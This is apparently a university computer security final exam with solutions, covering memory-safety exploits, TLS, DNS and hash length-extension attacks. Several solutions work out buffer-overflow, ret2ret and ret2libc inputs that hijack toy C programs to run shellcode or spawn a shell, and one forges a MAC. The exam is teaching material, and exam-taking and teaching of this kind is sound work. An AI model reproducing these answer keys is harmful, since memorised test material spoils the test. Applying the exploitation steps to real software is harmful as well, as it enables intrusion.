
CS 161
Spring 2025

Introduction to
Computer Security Final

Solutions last updated: May 12, 2025
Name:

Student ID:

This exam is 170 minutes long.

Question: 1 2 3 4 5 6

Points: 0 9 11 15 15 12

Question: 7 8 9 10 Total

Points: 10 10 7 11 100

For questions with circular bubbles, you may
select only one choice.

Unselected option (completely unfilled)
Only one selected option (completely filled)
Don’t do this (it will be graded as incorrect)

For questions with square checkboxes, you may
select one or more choices.

You can select
multiple squares (completely filled)

Anything you write outside the answer boxes or
you cross out will not be graded. If you write mul-
tiple answers, your answer is ambiguous, or the
bubble/checkbox is not entirely filled in, we may
grade the worst interpretation.

Pre-exam activity - Crossword (0 points):

Across
4. Mascot who loves cookies EvanBot
5. Parroting attack Replay
6. ___ UNION, enemy of Caltopia GOBIAN
7. Default road sign password from lec. 1 DOTS

Down
1. Someone who exploits systems Hacker
2. Our Lecturer Peyrin
3. Shannon’s ___ Maxim
6. Insecure C input function gets

Q1 Honor Code (0 points)
I understand that I may not collaborate with anyone else on this exam, or cheat in any
way. I am aware of the Berkeley Campus Code of Student Conduct and acknowledge
that academic misconduct will be reported to the Center for Student Conduct and may
further result in, at minimum, negative points on the exam.

Final - Page 1 of 50



Read the honor code above and sign your name:

Final - Page 2 of 50



Q2 True/False (9 points)
Each true/false is worth half of a point.

Q2.1 EvanBot decides to revamp their home network infrastructure with security in mind from the
beginning of the design.

True or False: This is an example of using fail-safe defaults.

(A) True (B) False

Solution: False. This is an example of designing with security from the start. The statement
description has nothing to do with how to handle failures.

Q2.2 True or False: Non-executable pages always mark the stack as executable.

(A) True (B) False

Solution: False. Non-executable pages mark each section of memory as writable, or exe-
cutable, but not both. The stack is writable, so it must be non-executable.

Q2.3 True or False: The off-by-one attack as seen in Project 1 involves overwriting the LSB of the RIP
to point to the attacker’s SHELLCODE.

(A) True (B) False

Solution: False. The off-by-one attack from Project 1 overwrites the LSB of the SFP, not the
LSB of the RIP.

Q2.4 True or False: It is better to MAC-then-Encrypt rather than Encrypt-then-MAC, because the
latter involves decrypting untrusted ciphertext before verifying integrity.

(A) True (B) False

Solution: False. MAC-then-Encrypt means that the data and MAC are all encrypted, so the
recipient must first decrypt before verifying integrity.

The statement becomes true if you swap MAC-then-Encrypt and Encrypt-then-MAC.
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Q2.5 True or False: In authenticated encryption, the same key should be used to both MAC and encrypt
the message.

(A) True (B) False

Solution: False. We need to use different keys to avoid key reuse. Reusing the same key for
two different algorithms can cause issues, such as the algorithms canceling each other out.

Q2.6 True or False: For a block cipher mode of operation to be IND-CPA secure, it must be deterministic.

(A) True (B) False

Solution: False. All deterministic schemes are not IND-CPA secure.

The statement becomes true if you replace “deterministic” with “non-deterministic.”

Q2.7 True or False: Parameterized SQL is an effective defense against SQL injection.

(A) True (B) False

Solution: True. Parameterized SQL helps avoid user input being interpreted like SQL code.

Q2.8 True or False: It is possible for a single cookie to be sent to two URLs with different origins.

(A) True (B) False

Solution: True. Consider a cookie with domain google.com. This cookie could be sent to
both maps.google.com and images.google.com.

maps.google.com and images.google.com have different domains, per the same-origin
policy.

Q2.9 True or False: https://google.com and https://google.com/maps share the same origin.

(A) True (B) False

Solution: True. The protocol (HTTPS), domain (google.com), and port (blank, default to
443 for TLS) are all the same in both URLs.

Note that the paths are different (/ and /maps), but the path is not checked when comparing
origins of two URLs.
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Q2.10 True or False: In WPA2, an attacker who leaks only the value of PSK can find the WiFi password
without using brute force.

(A) True (B) False

Solution: False. The WiFi password is fed into a deterministic algorithm (e.g. hash, PRNG) to
generate the PSK.

There is not necessarily a way to run this generation algorithm in reverse. In other words,
given the PSK, there’s no algorithm for recovering the WiFi password.

The only way to recover the WiFi password would be brute-force guessing passwords and
checking if your guess generates the same PSK.

Q2.11 True or False: In TLS, a certificate is a signed message containing the server’s domain, signed
with the server’s private key.

(A) True (B) False

Solution: False. It’s signed with a certificate authority’s private key, not the server’s own
private key.

Q2.12 True or False: After a TLS handshake completes, both parties use a single shared key to encrypt
and MAC their messages.

(A) True (B) False

Solution: False, they derive separate key(s) for the server and client.

Q2.13 True or False: TLS can provide end-to-end encryption even when lower-level networking layers
are compromised by a MITM.

(A) True (B) False

Solution: True. A lower-level attacker might become a MITM, but the MITM still has no way
to tamper with the TLS connection since messages are encrypted and MACed.
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Q2.14 True or False: DNS uses UDP instead of TCP because UDP has increased speed and lower overhead
compared to TCP.

(A) True (B) False

Solution: True. Using UDP allows us to send data right away, without first completing a
three-way handshake. This helps increase speed and lower overhead of DNS.

Q2.15 True or False: In DNS source port randomization, the name server’s response packet has its
source port field randomized to increase the difficulty of DNS spoofing.

(A) True (B) False

Solution: False. The client randomizes its source port, so in the name server’s reply, the
randomized number is the destination port.

Q2.16 True or False: SYN cookies enable a server to store state only after the TCP handshake completes.

(A) True (B) False

Solution: True. With SYN cookies enabled, the server only creates state for the TCP connec-
tion after the client sends back the ACK to complete the three-way handshake.

Q2.17 True or False: Signature-based detection is effective at stopping new attacks.

(A) True (B) False

Solution: False. Signature-based detection keeps a list of known attacks, and a new attack
would likely not be on that list.

Q2.18 True or False: Polymorphic malware encrypts itself when propagating in order to obfuscate its
source code.

(A) True (B) False

Solution: True. This is the definition of polymorphic malware.
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Q2.19 (0 points) True or False: EvanBot is a real bot.

(A) True (B) False

Solution: True. Only real bots use teletype text.
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Q3 Looping Into The Ocean (11 points)
Consider the following vulnerable C code:

1 void ocean(char* s, char* t) {
2 for (int i = 0; i < 20; i++) {
3 s[7-i] = t[i];
4 }
5 }
6
7 void whale() {
8 char tuna [20];
9 char salmon [8];
10
11 fread(tuna , 1, 20, stdin);
12 ocean(salmon , tuna);
13 }
14
15 int main() {
16 whale ();
17 return 0;
18 }

Assumptions:

• All memory safety defenses are disabled.
• There is SHELLCODE stored at 0xDEADBEEF.

RIP of main

SFP of main

RIP of whale

SFP of whale

tuna

(1)

t

(2)

(3)

SFP of ocean

Q3.1 (1 point) Fill the blanks in the stack diagram, assuming the program is paused on Line 3.

(A) (1) tuna (2) RIP of ocean (3) s
(B) (1) s (2) t (3) RIP of ocean
(C) (1) RIP of ocean (2) s (3) t
(D) (1) salmon (2) s (3) RIP of ocean
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Q3.2 (1 point) What type of memory safety vulnerability is present in this code?
(A) Signed/unsigned
(B) Out-of-bounds write

(C) Time-of-check to time-of-use
(D) Off-by-one

Solution: The out-of-bounds write occurs at Line 3. To see why, we can write out all the
writes that occur:

• i=0: s[7] = t[0]
• i=1: s[6] = t[1]
• i=2: s[5] = t[2]
• i=3: s[4] = t[3]
• i=4: s[3] = t[4]
• i=5: s[2] = t[5]
• i=6: s[1] = t[6]
• i=7: s[0] = t[7]
• i=8: s[-1] = t[8]
• i=9: s[-2] = t[9]

• i=10: s[-3] = t[10]
• i=11: s[-4] = t[11]
• i=12: s[-5] = t[12]
• i=13: s[-6] = t[13]
• i=14: s[-7] = t[14]
• i=15: s[-8] = t[15]
• i=16: s[-9] = t[16]
• i=17: s[-10] = t[17]
• i=18: s[-11] = t[18]
• i=19: s[-12] = t[19]

Notice that for higher values of i, we start writing to negative indices for s.

Also, note that negative indices cause C to write out-of-bounds. Recall that in C, the syntax
arr[i] is equivalent to *(arr + i), so a negative index causes C to decrement the address
of the start of the array, and dereference the result, to write somewhere below the array in
memory.

There is no signed/unsigned vulnerability. The only integer is i, and there’s no point where
it’s read as signed and unsigned at the same time.

There’s no time-of-check-to-time-of-use vulnerability. The program never pauses at some
point to allow us to change input that was previously validated.

There’s no off-by-one vulnerability. The out-of-bounds write allows us to write more than one
byte out of bounds.

Final - Page 9 of 50



Q3.3 (3 points) Provide an input to the fread on Line 11 that will execute SHELLCODE.

(A) 'A'*12 + '\xDE\xAD\xBE\xEF'
(B) 'A'*16 + '\xDE\xAD\xBE\xEF'

(C) '\xDE\xAD\xBE\xEF' + 'A'*12
(D) 'A'*8 + '\xEF\xBE\xAD\xDE'

Solution: The fread input is written into tuna. From the previous subpart’s solution, we
can see that the 20 bytes of tuna are then written downwards into memory (higher addresses
to lower addresses), starting with the first byte written to salmon[7], then subsequent bytes
written to lower addresses, finishing with the last byte written to salmon[-12].

Our goal is to overwrite an RIP with 0xDEADBEEF, the address of shellcode. Since the input
starts writing at salmon[7] and writes downwards, the only RIP we can overwrite is the RIP
of ocean (the only RIP below salmon[7]).

Putting it all together, our stack diagram looks like this:

Stack salmon index Our exploit
RIP of main
SFP of main
RIP of whale
SFP of whale
tuna

salmon salmon[0:8] 'A'*8

t salmon[-4:0] 'A'*4

s salmon[-8:-4] 'A'*4

RIP of ocean salmon[-12:-8] \xEF\xBE\xAD\xDE

SFP of ocean

Starting at salmon[7] and working downwards, we write 16 garbage bytes to overwrite all of
salmon, all of t, and all of s. Then, we overwrite the RIP of ocean with our shellcode.

Note that the address is inputted as \xDE\xAD\xBE\xEF. The system is little-endian, so we
want \xEF at the lowest memory address and \xDE at the highest address, just like in all other
exploits. Since we’re writing downwards, we should start by writing \xDE first at the highest
address, and end by writing \xEF at the lowest address.

Another way to see why the address uses this order is to write the iterations of the for loop
that write the address onto the stack:

• i=16: s[-9] = t[16] = \xDE
• i=17: s[-10] = t[17] = \xAD
• i=18: s[-11] = t[18] = \xBE
• i=19: s[-12] = t[19] = \xEF

When passing input into fread (which goes into tuna), we should input \xDE first and \xEF
last. As a result, when the writes occur, \xEF appears at s[-12], the lowest address, and \xDE
appears at s[-9], the highest address, as expected in a little-endian system.
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Reminder: In a big-endian system, the most significant byte of a word is stored at the lowest memory
address.

Consider a modified program running on a big-endian system, with the differences identified below:

1 void ocean(char* s, char* t) {
2 for (int i = 0; i < 17; i++) { // modified
3 s[7-i] = t[i];
4 }
5 }
6
7 void whale() {
8 char tuna [20];
9 char salmon [8];
10
11 fread(tuna , 1, 17, stdin); // modified
12 ocean(salmon , tuna);
13 }
14
15 int main() {
16 whale ();
17 return 0;
18 }

This is the result of running disas main in GDB:

1 0x080010C4: push %ebp
2 0x080010C8: mov %esp , %ebp
3 ...
4 0x08020010: pop %ebp
5 0x08020014: ret
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Suppose that the RIP of ocean holds the value 0x080200C4, and you want to execute SHELLCODE at
0xDEADBEEF.

Q3.4 (1 point) What type of memory safety exploit is this code vulnerable to?
(A) ret2ret
(B) ret2libc

(C) Integer conversion
(D) printf vulnerability

Solution: The modification only allows us to write 17 bytes (instead of 20), again starting
at salmon[7] and writing downwards. This means we are no longer able to overwrite the 3
lowest bytes of the RIP! We can still overwrite the highest byte of the RIP, though.

Since the system is big-endian, the highest byte of the RIP is the least-significant byte. The
RIP of ocean is given as 0x080200C4, so we can modify 0xC4, but not the other 3 bytes.

Stack salmon index Our exploit
RIP of main
SFP of main
RIP of whale
SFP of whale
tuna

salmon salmon[0:8] Can overwrite
t salmon[-4:0] Can overwrite
s salmon[-8:-4] Can overwrite

RIP of ocean salmon[-12:-8] Can only overwrite salmon[-8] = 0xC4
SFP of ocean

One big clue that this is a ret2ret attack is the fact that we’re given the address of a ret
instruction. Also, the address of ret is 0x08020014, which only differs from the existing RIP
value (0x080200C4) in the lowest byte. This means that we can overwrite the 0xC4 with 0x14
to overwrite the RIP of ocean with the address of ret. This confirms that we’re looking at a
ret2ret attack.

This is not a ret2libc attack, because we’re not jumping to any existing C library code (we’re
jumping to attacker shellcode).

This is not an integer conversion attack, because the only integer is i and it’s never converted
between signed/unsigned types.

This is not a printf vulnerability since that function never appears in the code.

Q3.5 (5 points) Give an input to the fread on Line 11 that executes SHELLCODE. If a part of the input
can be any non-zero value, use 'A' * n to represent n garbage bytes.

Solution: 'A' * 12 + '\xEF\xBE\xAD\xDE' + '\x04'
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Solution: First, a reminder: The ret2ret attack overwrites an RIP (and possibly values above it)
with the address of ret. This causes the program to repeatedly execute ret instructions. Every
ret instruction goes on the stack, takes the next value, treats it like an address, and jumps to that
address.

If there are a bunch of addresses of ret written onto the stack, then the program will repeatedly
go on the stack, read another ret address, and execute another ret instruction. Eventually, after
popping off all the ret addresses, the next value on the stack should be an address we care about
(e.g. address of shellcode), so that the final ret instruction jumps to that address we care about.

Now, we can construct our exploit. Continuing from the previous subpart, we’ll overwrite the
RIP of ocean (0x080200C4) with the address of a ret instruction (0x08020014). When ocean
returns, the program will now jump to the ret instruction, which will go on the stack, take the
next value (at s), and jump to that address. Therefore, we should put the address of shellcode at s.

Putting it all together, and remembering that we’re writing downwards: We write 12 bytes of
garbage to overwrite all of salmon and t. Then, we overwrite s with address of shellcode. Finally,
we overwrite the LSB of the RIP of ocean with 0x14.

Stack salmon index Our exploit
RIP of main
SFP of main
RIP of whale
SFP of whale
tuna

salmon salmon[0:8] 'A'*8

t salmon[-4:0] 'A'*4

s salmon[-8:-4] \xDE\xAD\xBE\xEF

RIP of ocean salmon[-12:-8] \x08\x02\x00\x14
SFP of ocean

Note that we input the shellcode address as \xEF\xBE\xAD\xDE, as we did in Project 1. This is
because we’re writing downwards (requiring one reverse), and the system is big-endian (requiring
another reverse to restore the original order).

Another way to see why the address uses this order is to write the iterations of the for loop that
write the address onto the stack:

• i=16: s[-9] = t[16] = \xEF
• i=17: s[-10] = t[17] = \xBE
• i=18: s[-11] = t[18] = \xAD
• i=19: s[-12] = t[19] = \xDE

When passing input into fread (which goes into tuna), we should input \xEF first and \xDE last.
As a result, when the writes occur, \xDE appears at s[-12], the lowest address, and \xAD appears
at s[-9], the highest address, as expected in a big-endian system.

Final - Page 13 of 50



Q4 printf("This looks familiar... ") (15 points)
Consider the following vulnerable C code:

1 void stack_editor(unsigned int num_commands) {
2 char clipboard [4];
3 char* arg_ptr = clipboard + 4;
4
5 char* commands = malloc(num_commands + 1);
6 fgets(commands , num_commands + 1, stdin);
7
8 for (int i = 0; i < num_commands; i++) {
9 char next_cmd = commands[i];
10
11 if (next_cmd == 'C') { // Copy and Skip
12 memcpy(clipboard , arg_ptr , 4);
13 arg_ptr += 4;
14 } else if (next_cmd == 'V') { // Paste and Skip
15 memcpy(arg_ptr , clipboard , 4);
16 arg_ptr += 4;
17 } else if (next_cmd == 'D') { // Decrement
18 (*(( char*) arg_ptr)) -= 4;
19 } else if (next_cmd == 'S') { // Skip 4 Bytes
20 arg_ptr += 4;
21 }
22 }
23 free(commands);
24 }
25
26 void main() {
27 char sh_str [4] = "sh\0\0";
28
29 system("ls -al");
30 stack_editor (8);
31 }

HINT: The syntax (*((char*) arg_ptr)) -= 4; goes to address arg_ptr in memory, and subtracts
4 from the value at that address.

Assume ASLR and non-executable pages are enabled, but all other memory safety defenses are disabled.
This is the result of running disas main in GDB:

1 0x08076030: call system
2 0x08076034: add $4, %esp
3 0x08076038: push $8
4 0x0807603C: call stack_editor
5 0x08076040: add $4, %esp
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Q4.1 (1 point) Where does the SFP of stack_editor point to if the program is paused at Line 2?

(A) SFP of main
(B) commands

(C) RIP of stack_editor
(D) RIP of stack_editor + 4

Solution: x86 calling convention is set up such that in normal non-malicious execution, the
SFP always points at the previous stack frame’s SFP.

If you didn’t remember this, this can also be derived by following the steps of the calling
convention.

Before calling stack_editor, only the main stack frame exists:

RIP of main
SFP of main ← EBP
sh_str ← ESP

Step 1 in calling a function is pushing arguments on the stack:

RIP of main
SFP of main ← EBP
sh_str

num_commands ← ESP

Steps 2-3 are pushing the RIP (old EIP) on the stack and moving EIP to the stack_editor
code (EIP not shown in diagram):

RIP of main
SFP of main ← EBP
sh_str

num_commands

RIP of stack_editor ← ESP

Step 4 (first line in stack_editor prologue) is to push the SFP (old EBP) value onto the stack.

At this point, we can see that the EBP is pointing at the SFP of main, so when we push the old
EBP value on the stack, the resulting SFP will point to the SFP of main.

RIP of main
SFP of main ← EBP
sh_str

num_commands

RIP of stack_editor
SFP of stack_editor ← ESP
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Q4.2 (2 points) Suppose we run this program with input DDCVSSSS to the fgets on Line 6. Assume for
this subpart only that the address of clipboard on the stack is 0xFFFFFF00, and 0x08076000
is the value stored in RIP of stack_editor.

RIP of main

SFP of main

sh_str

num_commands

RIP of stack_editor

SFP of stack_editor

clipboard

arg_ptr

commands

next_cmd

stack_editor−−−−−−−−→

RIP of main

SFP of main

sh_str

num_commands

(1)

(2)

clipboard

arg_ptr

commands

next_cmd

Fill in the values of the missing stack entries for the stack after the for-loop in stack_editor
finishes executing, but before stack_editor returns.

(A) (1) 0xFFFFFF0C (2) 0xFFFFFF0C

(B) (1) 0xFFFFFF0C (2) 0xFFFFFF08

(C) (1) 0x08076000 (2) 0xFFFFFF16

(D) (1) 0x08076008 (2) 0xFFFFFF08

Solution: Let’s fill in known addresses and values on the stack diagram. From the previous subpart,
the SFP of stack_editor points at the SFP of main.

Also, when the for-loop starts, arg_ptr = clipboard + 4, which is also labeled below.

Address Value
0xFFFFFF18 RIP of main
0xFFFFFF14 SFP of main
0xFFFFFF10 sh_str

0xFFFFFF0C num_commands

0xFFFFFF08 RIP of stack_editor = 0x08076000
0xFFFFFF04 SFP of stack_editor = 0xFFFFFF14 ← arg_ptr
0xFFFFFF00 clipboard

0xFFFFFEFC arg_ptr

0xFFFFFEF8 commands

0xFFFFFEF4 next_cmd

The input starts with DD. Each D takes the value that arg_ptr is pointing at, and decrements it by
4. Therefore, DD causes a decrement of 8 in total:
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Address Value
0xFFFFFF18 RIP of main
0xFFFFFF14 SFP of main
0xFFFFFF10 sh_str

0xFFFFFF0C num_commands

0xFFFFFF08 RIP of stack_editor = 0x08076000
0xFFFFFF04 SFP of stack_editor = 0xFFFFFF0C ← arg_ptr
0xFFFFFF00 clipboard

0xFFFFFEFC arg_ptr

0xFFFFFEF8 commands

0xFFFFFEF4 next_cmd

The next character is C, which takes the value that arg_ptr is pointing at, and writes that value
into clipboard. So now clipboard holds the value 0xFFFFFF0C. Also, arg_ptr is incremented,
so that it now points at the next value on the stack.

Address Value
0xFFFFFF18 RIP of main
0xFFFFFF14 SFP of main
0xFFFFFF10 sh_str

0xFFFFFF0C num_commands

0xFFFFFF08 RIP of stack_editor = 0x08076000 ← arg_ptr
0xFFFFFF04 SFP of stack_editor = 0xFFFFFF0C
0xFFFFFF00 clipboard

0xFFFFFEFC arg_ptr

0xFFFFFEF8 commands

0xFFFFFEF4 next_cmd

The next character is V, which takes the value on clipboard (currently 0xFFFFFF0C), and writes
that value to the place that arg_ptr is pointing at. Also, arg_ptr is incremented.

Address Value
0xFFFFFF18 RIP of main
0xFFFFFF14 SFP of main
0xFFFFFF10 sh_str

0xFFFFFF0C num_commands ← arg_ptr
0xFFFFFF08 RIP of stack_editor = 0xFFFFFF0C
0xFFFFFF04 SFP of stack_editor = 0xFFFFFF0C
0xFFFFFF00 clipboard

0xFFFFFEFC arg_ptr

0xFFFFFEF8 commands

0xFFFFFEF4 next_cmd

The remaining characters are SSSS. This causes arg_ptr to be incremented 4 times (beyond the
end of our stack), but it does not change any of the values on the stack.
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Address Value ← arg_ptr
0xFFFFFF18 RIP of main
0xFFFFFF14 SFP of main
0xFFFFFF10 sh_str

0xFFFFFF0C num_commands

0xFFFFFF08 RIP of stack_editor = 0xFFFFFF0C
0xFFFFFF04 SFP of stack_editor = 0xFFFFFF0C
0xFFFFFF00 clipboard

0xFFFFFEFC arg_ptr

0xFFFFFEF8 commands

0xFFFFFEF4 next_cmd

We’re done processing the input, so to get our answer, we just read the values of RIP of stack_editor
and SFP of stack_editor off our stack.

For the next two subparts only, assume that the code section is not randomized in ASLR (i.e. the
addresses given in the assembly printout do not change between executions).

Q4.3 (1 point) What is the value stored in RIP of stack_editor if the program is paused at Line 2?
(A) 0x08076038
(B) 0x0807603C

(C) 0x08076040
(D) 0x08076044

Solution: The value of the RIP tells us what instruction to execute next after the current
function (stack_editor) returns.

stack_editor was called by main on this line:
0x0807603C: call stack_editor

So after stack_editor returns, we should go back to the next line of main:
0x08076040: add $4, %esp

Note that 0x0807603C is incorrect. If stack_editor returned to this address, then the code
would immediately run call stack_editor again and call the function a second time, which
is not the correct behavior.

Q4.4 (1 point) What is the address of the call system instruction within the assembly code for main?
(A) 0x08076030
(B) 0x08076034

(C) 0x08076038
(D) 0x0807603c

Solution: This answer can be directly read off the GDB disassembly output:

0x08076030: call system
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Q4.5 (8 points) Provide an input of exactly 8 characters to the fgets on Line 6 that causes
system("sh") to execute.

Pick one character (C, V, D, or S) from each row. For example, to input CCCCDDVV, chose "C" for
the first four rows, then "D" for the next two rows, and then "V" for the last two rows.

HINT: Your post-exploit stack should look similar to a ret2libc exploit stack. Note that unlike the
ret2libc as shown in lecture, we do not need to place 4 bytes of garbage below our argument to system
(why might this be?).

(A) Select this box to get 1 point and void your attempt at this subpart.

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

(A) C (B) V (C) D (D) S

Q4.6 (2 points) The hint for the previous subpart specified that, unlike in the ret2libc shown in lecture,
we do not need to place 4 garbage bytes below our argument to system. Which option best
explains why this is the case?

(A) The argument to stack_editor effectively functions as the four bytes of garbage.
(B) The call instruction pushes the RIP of system onto the stack before moving the EIP.
(C) The exploit is not ret2libc, but rather a ret2ret into the address of system.
(D) The sh_str variable is already on the stack and doesn’t need to be placed by the exploit.
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Solution:

Correct answer: DCDDDDSV

Solution Part 1: Draw the desired stack after successful exploit.

Source code of main. The addresses in decimal are just placeholders to illustrate relative addressing,
since ASLR is enabled and we don’t know absolute addresses.

1 20: call system
2 24: add $4 , %esp
3 28: push $8
4 32: call stack_editor
5 36: add $4 , %esp

The initial stack looks like this. Again, the addresses in decimal are just placeholders for illustration.
The RIP has value 36, per the reasoning in Q4.3. The SFP has value 132, per the reasoning in Q4.1.

Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands

120 RIP of stack_editor = 36
116 SFP of stack_editor = 132
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

Following the hint, our goal is to make a ret2libc attack, so we want to overwrite the RIP with
the address of call system, and put the argument &sh_str above the RIP. Also, per the hint, we
will not put 4 bytes of garbage between the RIP and the argument (though we normally do).

Note that C passes string arguments as pointers (i.e. the argument is the address of the string),
which is why the argument directly above the RIP is 128, the address of sh_str.

Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands = 128
120 RIP of stack_editor = 20
116 SFP of stack_editor = 132
112 clipboard

108 arg_ptr

104 commands

100 next_cmd
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Now, when stack_editor returns, we will go to address 20, which is call system. Then,
system will look on the stack for arguments and find 128, which is the address of sh_str (our
desired argument, passed in as an address).

Solution:

Solution Part 2: Construct stack using only CDSV input.

From Part 1, there’s only two values we need to change on the stack. The remaining challenge is
how to get those two values changed only using C, D, S, V inputs.

Changing RIP of stack_editor from 36 to 20 can be achieved using DDDD to decrement the value
4 times (each decrement does -=4, for a total of -=16.

Setting num_commands to 128 is harder. Decrementing won’t work since the original value in
num_commands was 8, and there’s no way to decrement 8 and reach 128.

Instead, we can achieve this by using the copy-paste functionality. Intuitively, we will first decre-
ment SFP of stack_editor once from 132 to 128. Then we’ll copy this value 128 onto the
clipboard, and paste it into num_commands at the appropriate time.

Putting it all together, our exploit needs to do these things (not necessarily in this order):

• Decrement 132 to 128.
• Copy 128 onto clipboard.
• Paste 128 into num_commands.
• Decrement 36 to 20.

For the below walkthrough, red is used to identify a value changed in that step, and orange to
identify a stack value that has been previously changed but did not change in that step.

Starting state: Clipboard has garbage.

Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands

120 RIP of stack_editor = 36
116 SFP of stack_editor = 132 ← arg_ptr
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

We can decrement 132 to 128 with a D (decrement) operation.
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State after D: Clipboard has garbage.

Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands

120 RIP of stack_editor = 36
116 SFP of stack_editor = 128 ← arg_ptr
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

Before moving arg_ptr upwards, let’s copy 128 on the stack so we can use it later.

State after DC: Clipboard has 128.

Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands

120 RIP of stack_editor = 36 ← arg_ptr
116 SFP of stack_editor = 128
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

Now that we’re at the 36, let’s decrement 4 times to change this value to 20.

State after DCDDDD: Clipboard has 128.

Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands

120 RIP of stack_editor = 20 ← arg_ptr
116 SFP of stack_editor = 128
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

Now we can move to the next value on the stack with S (skip).

State after DCDDDDS: Clipboard has 128.
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Address Value
136 RIP of main
132 SFP of main
128 sh_str

124 num_commands ← arg_ptr
120 RIP of stack_editor = 20
116 SFP of stack_editor = 128
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

Finally, we take our 128 on the clipboard and paste it onto num_commands, and we’re done.

State after DCDDDDSV: Clipboard has 128.

Address Value
136 RIP of main
132 SFP of main
128 sh_str ← arg_ptr
124 num_commands = 128
120 RIP of stack_editor = 20
116 SFP of stack_editor = 128
112 clipboard

108 arg_ptr

104 commands

100 next_cmd

Solution: Q4.6: Why do we not need garbage?

The key difference between this exploit and a standard ret2libc exploit is where we’re jumping
after the function returns.

In the standard exploit, we overwrite RIP with the address of system itself, so when the function
returns, we jump immediately to the start of system.

In this exploit, we overwrite RIP with the address of call system, so when the function returns,
we jump to call system and execute that call instruction to enter system.

Reminder: The standard exploit needs 4 bytes of garbage because you aren’t following proper
calling convention to call system (i.e. nicely pushing arguments and RIP before passing control to
system). Instead, you’re overwriting the RIP to force the code to immediately jump into system,
and you never nicely set up any arguments or RIP.

The intended, nice way to call system is to have main push the arguments and the RIP before
transferring control to system, so that when system begins its function prologue, it expects to
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sees this on the stack:
RIP of main
SFP of main ← EBP

Args to system
RIP of system ← ESP

ret2libc does not bother pushing the arguments or the RIP, and just transfers program control
to system right away. The exploit starts like this:

RIP of main
SFP of main

Args to stack_editor
RIP of stack_editor = &system

(overwritten)
SFP of stack_editor ← EBP

Local vars of stack_editor ← ESP

In the function epilogue, we delete the local vars by moving ESP up:

RIP of main
SFP of main

Args to stack_editor
RIP of stack_editor = &system

(overwritten)
SFP of stack_editor ← ESP, EBP

Local vars of stack_editor

Then we pop SFP off the stack and restore the EBP (which points at garbage now):

RIP of main
SFP of main

Args to stack_editor
RIP of stack_editor = &system

(overwritten)
← ESP

SFP of stack_editor
Local vars of stack_editor

Finally, we pop RIP off the stack, and jump directly into system (without pushing arguments or
the RIP of system):

RIP of main
SFP of main

Args to stack_editor ← ESP
RIP of stack_editor = &system

(overwritten)
SFP of stack_editor

Local vars of stack_editor

So when system begins its function prologue, it sees this on the stack:
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RIP of main
SFP of main

Args to stack_editor ← ESP

But what system wants to see is the nice picture from above:

RIP of main
SFP of main ← EBP

Args to system
RIP of system ← ESP

In order to properly match what system expects to see on the stack, the attacker must write 4
bytes of garbage ('B'*4) first, where system expects to see an RIP (where ESP is pointing). Then
the attacker can write the arguments above those 4 bytes of garbage.

However, in this exploit, when the stack_editor function returns, we jump to call system,
and this instruction actually does push an RIP onto the stack. Therefore, we don’t have to put 4
garbage bytes on the stack to fill in the expected RIP.
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Q5 Collision Resistance at a Cheap Price!? Satisfactory (15 points)
Consider a collision-resistant compression function F that takes in two 128-bit inputs and returns a
128-bit output. We use F to build a cryptographic hash function H(x), as shown below:

Solution: This is called Merkle-Damgard construction in practice.

EvanBot wants to hash arbitrary-length input x. To computeH(x), EvanBot first splits x into n 128-bit
blocks, and computes

H(x) = F (xn, F (xn−1, · · ·F (x3, F (x2, x1))))

Assume x is always at least two blocks long and an exact multiple of the block length unless otherwise
stated.
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Q5.1 (2 points) Given hash output h = H(x1∥x2), perform a length-extension attack by giving an
expression for H(x1∥x2∥y), where y is a one-block value chosen by the attacker.

Your expression can include y, F, h, and elementary functions such as ⊕, but cannot include x1 or
x2.

Solution: F (y, h)

Rewrite the given hash output using the definition of the hash:

h = H(x1∥x2) = F (x2, x1)

Rewrite the desired hash output using the definition of the hash:

H(x1∥x2∥y) = F (y, F (x2, x1))

You don’t know x1 and x2, but you do know h, so you can substitute h into the desired hash
output expression to get:

H(x1∥x2∥y) = F (y, F (x2, x1))

= F (y, h)

This is a length-extension attack because the attacker didn’t know the hash input, and was still
able to compute a hash of the unknown input, concatenated with y of the attacker’s choosing.

Q5.2 (1 point) Is the MAC constructionMAC(K,M) = H(K∥M) EU-CMA (also known as EU-CPA)
secure?

(A) Yes, because H could still be collision-resistant despite being vulnerable to length-
extension attacks.
(B) Yes, because the adversary does not knowK and cannot perform the length-extension
attack.
(C) No, because the adversary can use the length-extension attack to forge MACs for some
M ′ ̸= M given MAC(K,M).
(D) No, because H’s vulnerability to length-extension attacks implies it is not collision-
resistant.

Solution: The attacker can use length-extension attacks to forge MACs without knowing the
key, so this scheme is insecure.

During the query phase, the attacker asks for the MAC of potato and gets H(K∥potato).

Now, the attacker performs the length-extension attack to get H(K∥potatopancake), with-
out needing to know the hash inputK .

This is a valid tag on the message potatopancake, so the attacker has successfully forged a
MAC without knowing the key.
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Q5.3 (2 points) Suppose for this subpart only that the input x is not necessarily a multiple of the block
length and may need padding.

Which padding schemes allow an attacker to find a collision, i.e. x ̸= y such that H(x) = H(y)?
Select all that apply.

Note: len(x) returns the size of x in bits.

(A) Pad x with 0s until len(x) reaches a multiple of 128 bits.
(B) Pad x with 0s until len(x) reaches a multiple of 128 bits, and then add a new block xn+1

of all 1s.
(C) If len(x) is not a multiple of 128, pad x with a single 1 and then 0s until it is a multiple
of 128 bits. Otherwise, do nothing.
(D) None of the above.

Solution:

For simplicity, assume pancake is 120 characters long.

(A): True. pancake and pancake0 both end up being padded to the same string
pancake00000000, causing a collision when they’re hashed.

(B): True. Once again, pancake and pancake0 both end up being padded to the same string
pancake000000001111...1111 (with 128 1s), causing a collision when they’re hashed.

